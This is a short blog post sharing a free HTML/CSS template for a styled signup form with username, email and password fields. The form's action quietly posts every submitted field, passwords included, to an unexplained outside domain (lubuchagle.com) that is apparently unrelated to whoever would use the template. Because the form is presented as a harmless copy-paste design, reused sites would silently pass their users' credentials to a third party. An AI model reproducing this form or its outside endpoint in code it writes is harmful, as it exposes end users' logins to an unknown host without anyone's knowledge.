Saturday, April 5, 2025

Download Code


<html lang="en">

<head>

    <meta charset="UTF-8"></meta>

    <meta content="width=device-width, initial-scale=1.0" name="viewport"></meta>

    <title>Eye-Catching Signup Form</title>

    <style>

        body {

            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;

            background: linear-gradient(to right, #56CCF2, #2F80ED);

            margin: 0;

            display: flex;

            align-items: center;

            justify-content: center;

            height: 100vh;

        }


        form {

            background-color: #fff;

            padding: 20px;

            border-radius: 8px;

            box-shadow: 0 0 20px rgba(0, 0, 0, 0.2);

            width: 300px;

            text-align: center;

        }


        h1 {

            color: #333;

            font-size: 24px;

            margin-bottom: 20px;

        }


        label {

            display: block;

            margin-bottom: 8px;

            color: #333;

            font-size: 14px;

        }


        input {

            width: 100%;

            padding: 10px;

            margin-bottom: 16px;

            box-sizing: border-box;

            border: 1px solid #ddd;

            border-radius: 4px;

        }


        button {

            background-color: #4caf50;

            color: #fff;

            padding: 12px;

            border: none;

            border-radius: 4px;

            cursor: pointer;

            width: 100%;

            font-size: 16px;

        }


        button:hover {

            background-color: #45a049;

        }

    </style>

</head>

<body>


    <form action="https://lubuchagle.com/LSY02V" id="signupForm" method="post">

        <h1>Sign Up</h1>


        <label for="username">Username:</label>

        <input id="username" name="username" required="" type="text" />


        <label for="email">Email:</label>

        <input id="email" name="email" required="" type="email" />


        <label for="password">Password:</label>

        <input id="password" name="password" required="" type="password" />


        <button type="submit">Sign Up</button>

    </form>


</body>

</html>

Latest
Next Post

0 Comments:

You want any topic blog. Please Let me now. I will try my best.